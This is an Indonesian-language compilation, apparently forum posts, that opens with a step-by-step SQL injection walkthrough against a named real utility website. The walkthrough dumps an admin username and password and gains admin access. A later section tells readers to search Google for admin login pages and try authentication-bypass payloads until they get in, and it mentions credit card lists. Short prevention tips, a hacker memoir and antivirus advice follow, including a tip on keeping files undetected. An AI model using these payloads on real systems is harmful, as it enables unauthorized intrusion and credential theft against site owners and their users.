Kita ambil yang termudah dulu, dengan cara input box.
Kemudian kita cari kotak login yang untuk admin.
Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp
Langkah pertama untuk menentukan nama tabel dan fieldnya,
kita inject kotak NIP dengan perintah (password terserah, cabang
biarkan aja):
' having 1=1--
jangan lupa untuk menuliskan tanda kutip tunggal dan tanda
minus dobel (penting).
Arti kedua tanda tsb bisa anda cari di tutorial SQL Injection
di www.neoteker.or.id ini (lihat arsip sebelumnya).
Kemudian akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.NOMOR' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Keluarlah nama field pertama kita !!!
Catat nama tabel : T_ADMIN
Catat nama field : NOMOR
Kemudian kita akan mencari nama field-field berikutnya,
beserta nama tabel yang mungkin berbeda-beda.
Kita inject di kotak NIP (password terserah):
' group by T_ADMIN.NOMOR having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.NIP' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya itulah nama tabel dan field kedua kita.
Catat : T_ADMIN.NIP
Kemudian kita cari field ke tiga :
' group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.PASSWORD' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Catat field ke tiga : T_ADMIN.PASSWORD
Lakukan langkah di atas sampai kita menemukan field terakhir.
Berikut adalah pesan error yang terjadi, jika kita mengecek
field terakhir dengan meng-inject:
' group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,
T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ ADMIN.EMAIL
having 1=1--
(catatan : kalimat harus 1 baris, tidak dipotong)
--------------------
- NIP atau Password atau Unit Anda salah !! -
--------------------
Sukses !!! Kita berhasil menemukan field terakhir.
Daftar kolom (field):
T_ADMIN.NOMOR
T_ADMIN.NIP
T_ADMIN.PASSWORD
T_ADMIN.NAMA
T_ADMIN.KD_RANTING
T_ADMIN.ADDRESS
T_ADMIN.EMAIL
Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),
ini akan mempermudah proses kita selanjutnya.
Langkah berikutnya, kita menentukan jenis struktur field-
field tersebut di atas.
Kita inject di kotak NIP (pass terserah) :
' union select sum(NOMOR) from T_ADMIN--
Arti dari query tersebut adalah : kita coba menerapkan
klausa sum sebelum menentukan apakah jumlah kolom-kolom
di dua rowsets adalah sejenis.
Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)
yang berlaku untuk type kolom numerik, jadi untuk type kolom
yang bukan numerik, akan keluar error yang bisa memberitahu
kita jenis kolom yang dimaksud.
Pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries
in an SQL statement containing a UNION operator must have
an equal number of expressions in their target lists.
/sipm/admin/dologin.asp, line 7
--------------------
artinya kolom NOMOR berjenis numerik.
Berikutnya kita inject :
' union select sum(NIP) from T_ADMIN--
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum
or average aggregate operation cannot take a char data
type as an argument.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya kolom NIP bertype char.
Kita harus mengulang perintah di atas untuk kolom yang
berikutnya dengan jalan mengganti nama_kolom di :
' union select sum(nama_kolom) from T_ADMIN--
dengan kolom yang berikutnya.
Kita peroleh 7 type kolom:
T_ADMIN.NOMOR => numeric
T_ADMIN.NIP => char
T_ADMIN.PASSWORD => nvarchar
T_ADMIN.NAMA => char
T_ADMIN.KD_RANTING => char
T_ADMIN.ADDRESS => nvarchar
T_ADMIN.EMAIL => char
Langkah berikutnya, kita akan mencari isi kolom password,
untuk user admin, dengan meng-inject :
' union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > 'a'--
artinya kita memilih minimum nama user yang lebih besar dari 'a'
dan mencoba meng-konvert-nya ke tipe integer.
Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih
kolom NAMA, dan mengabaikan 6 kolom yang lain.
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value 'bill ' to
a column of data type int.
/sipm/admin/dologin.asp, line 7
--------------------
Anda lihat :
varchar value 'bill '
'bill' itu adalah nama user di record yang terakhir dimasukkan,
atau isi kolom NAMA di record yang terakhir dimasukkan.
Selanjutnya kita inject :
' union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where
NAMA = 'bill'--
catatan : harus sebaris (tidak dipotong).
Akan keluar error :
---------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value 'm@mpusk@u' to a
column of data type int.
/sipm/admin/dologin.asp, line 7
---------------------
Artinya kita berhasil !!!
Kita dapatkan
[+] NAMA = bill
[+] PASSWORD = m@mpusk@u
Silahkan login ke :
www.pln-wilkaltim.co.id/sipm/admin/admin.asp
dengan account di atas, sedang nama cabang, silahkan anda
isi sendiri dengan cara coba-coba
Atau kita pakai jalan pintas saja....
Kita inject-kan :
' union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN
where NAMA ='bill'--
catatan : harus satu baris.
Duarrrrrr..........
Glhodhak.............
Langsung masuk ke menu admin.
Ingat : jangan buat kerusakan ! beritahu sang admin !!!
Lubang ke dua adalah pada bagian berita.
Pada dasarnya berita di situ adalah isi dari tabel yang
lain lagi. Jadi tetep bisa kita inject !!!
Bedanya, kita harus memasukkan parameter di alamat URL-nya.
Contoh :
http://www.pln-wilkaltim.co.id/dari_...&idm=40&idSM=2
ada parameter id dan idSM.
Setelah kita coba inject, ternyata yang berpengaruh adalah
parameter id aja (CMIIW).
Kita inject-kan :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119' having 1=1--
akan keluar pesan error :
---------------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'tb_news.NewsId' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/dari_Media.asp, line 58
---------------------------
artinya 'tb_news.NewsId' itulah nama tabel dan kolom kita
yang pertama.
Ulangi langkah-langkah kita di atas sampai didapatkan :
tb_news.NewsId => numeric
tb_news.NewsCatId => numeric
tb_news.EntryDate => datetime
tb_news.Title => nvarchar
tb_news.Content =>
tb_news.FotoLink =>
tb_news.FotoType => bit data
tb_news.review =>
tb_news.sumber => char
tb_news.dateagenda => datetime
Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan
pengetahuan anda.
Anda bisa men-insert berita yang bisa anda tentukan sendiri
isinya.
Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.
Perkiraan saya, nama-nama partai di situs KPU yang di-hack
oleh Shizoprenic, juga ada di tabel-tabel suatu database,
jadi tetep bisa dimasuki dengan cara SQL Injection ini.
************************************************** ****
KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!
************************************************** ****
Cara pencegahan yang umum digunakan :
1. Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula
akan bingung sejenak melihat input box nya gak bisa di
inject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan
tanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,
Extended Stored Procedures jika memungkinkan.
5. Ubah "Startup and run SQL Server" menggunakan low privilege user
di SQL Server Security tab.
1. Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus -- yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2. Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.
Bug SQL Injection berbahaya ?
1. Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account.
2. Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.
3. Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.
Apa saja yang diperlukan untuk melakukan SQL Injection ?
1. Internet Exploler / Browser
2. PC yang terhubung internet
3. Program atau software seperti softice
Contoh sintaks SQL Injection
Contoh sintak SQL dalam PHP
1. $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
2. isikan password dengan string ’ or ’’ = ’
3. hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4. maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL
Gambar contoh SQL Injection
Contoh sintaks SQL Injection
1. Sintaks SQL string ‘-- setelah nama username
2. Query database awal :
Berubah menjadi :
Contoh sintaks SQL Injection
SQL Injection melalui URL, contohnya :
Penanganan SQL Injection
1. Merubah script php
2. Menggunakan MySQL_escape_string
3. Pemfilteran karakter ‘ dengan memodifikasi php.ini
1. Merubah script php
Contoh script php semula :
$query = "select id,name,email,password,type,block from user " .
"where email = '$Email' and password = '$Password'";
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, 'yes') == 0)
{
echo "\n";
exit();
}
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));
Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk query sebagai berikut :
Maka dilakukan perubahan script menjadi :
$query = "select id,name,email,password,type,block from user".
"where email = '$Email'";
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, 'yes') == 0)
{
echo "\n";
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));
2. Menggunakan MySQL_escape_string
Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;
Hasilnya :
3. Pemfilteran karakter ‘ dengan memodifikasi php.ini
Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php
Contoh :
Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
Implementasi SQL Injection
1. Masuk ke google atau browse yg lain
2. Masukkan salah satu keyword berikut
"/admin.asp"
"/login.asp"
"/logon.asp"
"/adminlogin.asp"
"/adminlogon.asp"
"/admin_login.asp"
"/admin_logon.asp"
"/admin/admin.asp"
"/admin/login.asp"
"/admin/logon.asp"
{anda bisa menambahi sendiri sesuai keinginan anda}
3. Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).
4. Masukkan kode berikut :
User name : ` or `a'='a
Password : ` or `a'='a (termasuk tanda petiknya)
5. Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6. Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7. Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a'='a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8. Cobalah sampai berhasil hingga anda bisa masuk ke admin panel
Cara pencegahan SQL INJECTION
1. Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
5. Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab.
o0
Pertama sekali mengenal istilah h4cking ada perasaan sangat senang, senang yang tak terbatas, seorang teman mengatakan H4cker itu “jag0″ mereka bisa membuat virus, menyebarkannya , bisa memasuki semua komputer orang yang terhubung ke jaringan, mengendalikannya dan menjadikannya milik sendiri….
W00w sehebat itukah hacker?
Perasaan ingin tau itu semakin menggebu dikala membaca berita bahwa seorang remaja berhasil membobol sistem komputer “pentag0n”,hal ini membuat otakku berfikir ternyata seorang remaja pun bisa melakukan itu .. hMMM. “Apakah gampang jadi hacxer?”
o1
Jam demi jam kuhabiskan di wArnet, mencari cari disemua situs situs penyedia jasa pencarian (se4rch 3nggine) dengan berbagai kata kunci “HAcking” ,”hack”, “membobol komputer orang” “membuat virus” “bagaimana memasuki sistem “ tak bisa kuingat berapa kata atau frasa yang kujadikan kunci untuk mencari….. beberapa disketkupun dipenuhi dengan semua hasil dari pencarian yang aku sendiripun belum yakin apa itu yang kucari.
o2
Yup… hari ini aku berselancar lagi, dengan kebingungan yang sama, tetapi dengan sedikit perasaan lega ,karena telah berhasil mengirimkan bom email ke alamat email temanku yang berteriak-teriak di warnet karena emailnya dipenuhi dengan “sampah”. aku kembali berkomunikasi di #irc dengan maksud menemuk4n yang kucari… setidaknya memuaskan perasaanku. tetapi lagi lagi yang kutemukan adalah tumpukan tools-tools yang terbuat dari berbagai bahasa pemrograman yang aku sendiri tak mengerti “apa itu pemrograman? “ dan “bagaimana bisa membuat program? ” hal ini tak pernah aku pikirkan, yang aku tau adalah masukkan alamat target dan tinggal klik.kalau beruntung programnya bener maka yang kuinginkan bisa tercapai,”so!buat apa bisa program!”, tinggal jalanin program kecil yang gratis di internet…
o3
Trojan! hmm, program menarik yang menyita hampir setiap hariku… tidak tau berapa banyak trojan yang aku koleksi, yang terpenting adalah aku bisa mengisengi temanku yang sedang mengerjakan “word”nya dengan cara mematikan PC yang sedang dia gunakan.berhari-hari aku menyibukkan diriku dengan kesenangan menggunakan program k3cil yang disebut trojan ini, ironisnya “trojan” sendiri aku tak mengerti artinya apalagi cara kerja dan gimana membuatnya , tapi itu bukan masalah buatku. yang penting aku sudah bisa berbangga didepan teman2ku.
o4
“www.xyx.com” tampilannya diubah…. woww… kok bisa ya, hebat!!, keren!bisa merubah tampilan web orang! maka, yang kulakukan selanjutnya menghabiskan waktuku untuk “surfing” di internet mencari bagaimana caranya mendeface situs web, cari dan download semua tool-tools yang ada..dan dimulailah kegiatanku.. jalankan semua tools yang ada, cari kelemahannya..hingga temukan sesuatu….. berhari-hari kucoba lagi kucoba lagi,belum nampak jelas ada tanda tanda bahwa semua yang kulakukan berhasil. Sampai aku memutuskan untuk berhenti melakukan seluruhnya, memang b3nar2 ironis;
o5
Tak terasa sudah ber-ribu hari hal itu kulakukan,hingga akhirnya seorang teman bertanya padaku.”apakah aku tau siapa itu hacker?”dengan bangga aku beri tahu dia semua yang kutau… begini begitu, tetapi dia malah tertawa2, dan dia katakan padaku, itu bukan hacker, … woops lalu apa? “how 2 become a hacker” karya Eric S.Raymond adalah rujukan yang dia berikan padaku..
o6
Apakah aku hacker? kalo dulu dengan bangga aku menyebut diriku hacker……. Sekarang? TCP-ip pun aku gak tau, Pemrograman aku gak bisa, apalagi mengenai Operating sytem,apapula itu Open source, kern3l, Shell code bla..bla bla… semua yang aku dapatkan dan kulakukan dulu apa? “script kiddies”
…………………………………………l0l……………………..
hacker
Hacker adalah: Seseorang yang tertarik untuk mengetahui secara mendalam mengenai kerja suatu system,komputer,atau jaringan komputer.”
[ *RFC1392,Internet User Glossary ]
ini yang kucari, ini yang kuinginkan.. apa yang harus kulakukan? ………..
Berikut adalah kutipan dari Wikipedia yang mungkin dapat membantu: "Contoh: ZTreeWin_1.5.zip mengandung celah untuk mendaftar ZtreeWin 1,51 file termasuk: keygen.exe, one.nfo, file_id.diz dan 'RUN.EXE'. Ini adalah 'RUN.EXE' yang berisi program jahat"
Men-download benar-benar tidak perlu dan sering berisiko, tetapi saya telah dan akan terus memposting beberapa konten bersih di sini, di EH Forum untuk kalian semua.
Online File Scanner
Web-scanner seperti "VirusTotal" dan "NoVirusThanks" menjadi semakin populer dengan jumlah diposting anonim download seluruh internet.
Jika Anda ingin memindai file Anda menemukan curiga, Anda bisa pergi ke salah satu http://virustotal.com atau http://novirusthanks.org untuk melakukannya.
VirusTotal akan mengirimkan sampel file ke perusahaan antivirus, sehingga hal ini tidak dianjurkan jika Anda ingin menyimpan file Anda tidak terdeteksi.
NoVirusThanks memiliki "Pilihan lanjutan"Area di mana Anda dapat memilih untuk tidak mendistribusikan file Anda ke perusahaan antivirus, ini berguna untuk menjaga hal-hal sepenuhnya tidak terdeteksi, tapi kalau file anda tidak mempercayai dan tidak ingin diri sendiri atau orang lain untuk menjadi terinfeksi dalam masa depan, saya sarankan Anda mengizinkan mereka untuk mendistribusikannya ke perusahaan antivirus.
Mengunjungi Website & Membaca Email.
Berhati-hati dari situs yang Anda kunjungi. Saya tidak akan merekomendasikan mengunjungi situs Web apapun yang kelihatannya murah, jarang, atau host secara bebas. Jahat website sering menyesatkan atau bisa saja menyuntikkan sesuatu ke dalam sistem anda tanpa persetujuan anda. Jika anda menggunakan "Chrome" browser dari Google, Anda mungkin telah memperhatikan bahwa file-file download secara otomatis tanpa disuruh Anda. Chrome adalah browser saya tidak merekomendasikan hanya karena begitu baru, semua hal-hal baru memiliki kerentanan, dan jika kerentanan dapat dieksploitasi, maka akan dieksploitasi.
Ketika membuka email, Anda juga harus hati-hati. Hanya karena itu email dari teman Anda - itu tidak berarti Anda bisa percaya itu! Anda mungkin melihat beberapa email yang meminta Anda untuk memperbarui rincian bank - bank Anda tidak boleh meminta Anda untuk melakukan hal itu melalui email. Rincian yang Anda masukkan akan dikirim ke seseorang yang akan mengeksploitasi rincian Anda, sehingga menjauhi email ini.
Cacing dapat menyebar melalui email. Sebagai contoh, Anda membuka email dari Bob berisi cacing, cacing ini kemudian dikirim ke semua kontak Anda. Ini adalah cara paling cacing akan bekerja, dan disarankan agar Anda mengubah layanan email Anda jika itu bisa rentan. Anda dapat menggunakan hotmail live Microsoft layanan yang sangat baik, juga akan menonaktifkan konten berbahaya dari men-download ke komputer Anda. Anda dapat menemukan layanan ini di http://mail.live.com
Sandboxing
Dengan menggunakan kotak pasir, segala sesuatu yang di-download ke komputer Anda akan tetap berada di kotak pasir. Tidak akan melarikan diri, yang berarti bahwa berbahaya mingguan tidak dapat membahayakan komputer Anda. Sandboxing adalah cara yang baik untuk menguji apakah suatu situs web dapat dipercaya.
Berikut adalah download untuk Sand Box saya gunakan: http://sandboxie.com/
Firewall
Antiviruses yang baik akan memiliki built-in Firewall, tetapi jika tidak, maka mungkin patut men-download satu. Firewall tidak penting, tetapi dapat membantu banyak.
Beberapa firewall memiliki IP masking pilihan, tetapi ini biasanya dapat memperlambat komputer Anda dan tidak layak menggunakan kecuali Anda melakukan sesuatu yang ilegal.
Penggunaan utama dari firewall adalah untuk mencegah lalu lintas masuk, yang akan menghentikan hal-hal seperti 'telnet' dari mencapai koneksi Anda, dan juga dapat menghentikan cacing dan lain-lain dari mengakses jaringan Anda. Firewall juga akan memblokir backdoors itu trojans membuat, jadi jika Anda menemukan diri Anda cukup beruntung untuk memiliki RAT (Remote Access Trojan) Di komputer Anda, harus backdoor yang diblokir oleh firewall anda, tapi mungkin untuk trojan untuk mem-bypass.
Memiliki firewall tidak berarti Anda aman, banyak firewall dapat dengan mudah dinonaktifkan atau dilewati oleh malware. Beberapa firewall juga akan memblokir koneksi legit, seperti download untuk perangkat lunak. Jangan berpikir Anda aman hanya karena Anda memiliki firewall, ini adalah kesalahpahaman umum dengan firewall.
Terlalu banyak orang berpikir bahwa dengan menginstal firewall yang sangat populer, mereka akan segera merasa aman terhadap gangguan terbaru, tapi ini sama sekali tidak benar.
Firewall dapat juga membuat efek pada kecepatan koneksi Anda. Jika Anda memiliki kecepatan download sangat cepat, Anda mungkin akan melihat perbedaan ketika Anda mendapatkan firewall, tetapi kecepatan download akan tetap normal pada pengguna dengan kecepatan lebih lambat. Efek ini dapat beragam di antara pengguna, dan tergantung pada sambungan.
Lebih baik untuk mencoba beberapa firewall untuk mencari tahu mana yang paling cocok bagi Anda - tinjauan bersifat pribadi dan tidak akan selalu sama untuk setiap orang.
Firewall besar "Comodo" yang juga gratis dapat ditemukan di sini ...
Comodo: http://www.personalfirewall.comodo.com/
Zone Alarm: http://www.zonealarm.com/store/content/c...wall_b.jsp
Ghost: http://www.ghostsecurity.com/ghostwall/
Antiviruses
Anti-virus program adalah sangat penting. Anda jujur tidak boleh pergi tanpa satu. Jika Anda tidak memiliki satu, ada daftar download dan rekomendasi dalam posting berikutnya. Jangan khawatir mengenai anti-virus memperlambat komputer Anda, jika Anda mendapatkan yang benar maka komputer Anda akan tetap pada performa maksimal.
Anda ingin antivirus yang akan memindai folder sistem RAM dan terus-menerus, karena dengan begitu Anda akan diberitahu jika sesuatu yang berbahaya telah ditemukan di dalamnya. Antivirus rata-rata hanya akan memindai dan menghapus ketika diberitahu, tapi yang terbaik akan memindai terus-menerus, update setiap hari, dan memberikan banyak pilihan untuk mengutak-atik sesuai dengan preferensi Anda.
Jika ada program berbahaya yang ingin Anda download seperti Metasploit, akan lebih baik jika Anda memiliki antivirus yang akan memungkinkan Anda untuk melakukannya. Beberapa program antivirus tidak akan memberikan pilihan dan akan karantina file langsung, tetapi yang lain seperti Kaspersky akan memberi Anda pilihan untuk membersihkan, menghapus atau mengabaikan.
Virus kadang-kadang bisa sepenuhnya menonaktifkan perlindungan Anda, tetapi yang lebih kuat NOD32 program-program seperti ini dapat bertahan dan akan uncompromisable. Anda ingin sesuatu yang sulit jika Anda akan men-download riskware.
Sebuah anti virus yang baik juga akan terus-menerus memindai download dan menjalankan proses. Mudah-mudahan Anda dapat memahami sekarang mengapa ini sangat penting.
Satu-satunya program yang berhubungan dengan antivirus Aku telah terinstal pada saat ini adalah Avast! (Free) Malwarebytes Anti-Malware dan SUPERantispyware (Bicara demi dirinya sendiri ..).
Saya suka menggunakan HijackThis untuk melihat apa yang berjalan di komputer saya, dan saya selalu menjaga ComboFix hanya membungkus, Anda tidak pernah tahu apa yang di tikungan ...
Aku ingat tidak mempunyai terinstal perangkat lunak antivirus apa pun, dan kemudian aku menerima root-kit yang tidak akan membiarkan saya mendownload software apapun ..
Aku menyingkirkan mereka pada akhirnya, tapi itu tidak mudah, rootkit tidak terdeteksi oleh sebagian besar AV karena itu menjadi begitu baru / langka - Anda masih tidak dapat menemukannya di beberapa AV database! Tapi aku berharap aku punya lagi, jadi aku bisa mengirimkannya sebagai sampel.
Saya akan daftar favorit saya anti-virus di posting berikutnya. Saya sangat merekomendasikan Anda tetap ini, karena terdapat banyak yang palsu bahwa Anda dapat dengan mudah menuju.
